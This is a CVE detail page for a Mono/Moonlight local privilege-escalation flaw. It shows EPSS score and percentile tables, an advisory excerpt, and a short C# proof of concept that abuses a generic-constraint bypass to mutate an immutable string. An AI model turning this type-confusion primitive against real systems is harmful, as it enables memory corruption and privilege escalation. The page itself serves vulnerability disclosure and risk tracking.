CVE-2010-4254 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	45.07%	–	–
2023-03-12	–	–	–	20.97%	–
2023-04-16	–	–	–	29.82%	–
2023-06-04	–	–	–	37.87%	–
2023-07-30	–	–	–	34.7%	–
2024-06-02	–	–	–	34.7%	–
2024-12-22	–	–	–	66.09%	–
2025-01-19	–	–	–	66.09%	–
2025-03-18	–	–	–	–	14.8%
2025-03-30	–	–	–	–	19.36%
2025-03-30	–	–	–	–	19.36,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2023-03-12	96%
2023-04-16	96%
2023-06-04	97%
2023-07-30	97%
2024-06-02	97%
2024-12-22	98%
2025-01-19	98%
2025-03-18	94%
2025-03-30	95%
2025-03-30	95%

Sources: https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/ https://www.securityfocus.com/bid/45051/info Mono and Moonlight is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. PoC: using System; using System.Reflection; public class FakeString { public int length; public char start_char; } public class TestCase { private static FakeString UnsafeConversion<T>(T thing) where T : FakeString { return thing; } public static void Main() { var a = "foo"; var b = MakeMutable(a); Console.WriteLine(a); b.start_char = 'b'; Console.WriteLine(a); } private static FakeString MakeMutable(string s) { var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static); var m2 = m.MakeGenericMethod(typeof(string)); var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2); return d(s); } }